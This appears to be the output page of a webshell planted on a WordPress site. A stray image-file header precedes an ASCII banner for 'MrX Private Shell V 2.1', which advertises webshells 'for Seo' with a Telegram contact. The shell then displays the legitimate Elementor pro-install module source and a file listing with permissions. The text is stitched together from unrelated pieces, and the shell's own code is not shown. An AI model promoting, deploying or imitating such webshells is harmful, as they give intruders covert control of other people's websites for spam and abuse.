����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Elementor\Modules\ProInstall;
use Elementor\Core\Admin\Menu\Admin_Menu_Manager;
use Elementor\Core\Common\Modules\Connect\Module as ConnectModule;
use Elementor\Core\Base\Module as BaseModule;
use Elementor\Plugin;
use Elementor\Settings;
use Elementor\Utils;
if ( ! defined( 'ABSPATH' ) ) {
exit; // Exit if accessed directly.
}
class Module extends BaseModule {
public function get_name() {
return 'pro-install';
}
public static function is_active() {
return ! Utils::has_pro() && current_user_can( 'manage_options' );
}
public function __construct() {
parent::__construct();
add_action( 'admin_post_elementor_do_pro_install', [ $this, 'admin_post_elementor_do_pro_install' ] );
add_action( 'elementor/connect/apps/register', function ( ConnectModule $connect_module ) {
$connect_module->register_app( 'pro-install', Connect::get_class_name() );
} );
add_action( 'elementor/admin/menu/register', function( Admin_Menu_Manager $admin_menu ) {
$admin_menu->register(
'elementor-connect-account',
new Pro_Install_Menu_Item( $this->get_connect_app() )
);
}, 116 );
}
private function get_connect_app(): Connect {
return Plugin::$instance->common->get_component( 'connect' )->get_app( 'pro-install' );
}
public function admin_post_elementor_do_pro_install() {
if ( ! current_user_can( 'install_plugins' ) ) {
wp_die( esc_html__( 'You do not have sufficient permissions to access this page.', 'elementor' ) );
}
check_admin_referer( 'elementor_do_pro_install' );
$app = $this->get_connect_app();
$download_link = $app->get_download_link();
if ( empty( $download_link ) ) {
wp_die( esc_html__( 'There are no available subscriptions at the moment.', 'elementor' ) );
}
$plugin_installer = new Plugin_Installer( 'elementor-pro', $download_link );
$response = $plugin_installer->install();
if ( is_wp_error( $response ) ) {
wp_die( esc_html( $response->get_error_message() ) );
}
wp_safe_redirect( admin_url( 'admin.php?page=elementor-license' ) );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| connect.php | File | 885 B | 0644 |
|
| module.php | File | 2.01 KB | 0644 |
|
| plugin-installer.php | File | 2.29 KB | 0644 |
|
| pro-install-menu-item.php | File | 5.94 KB | 0644 |
|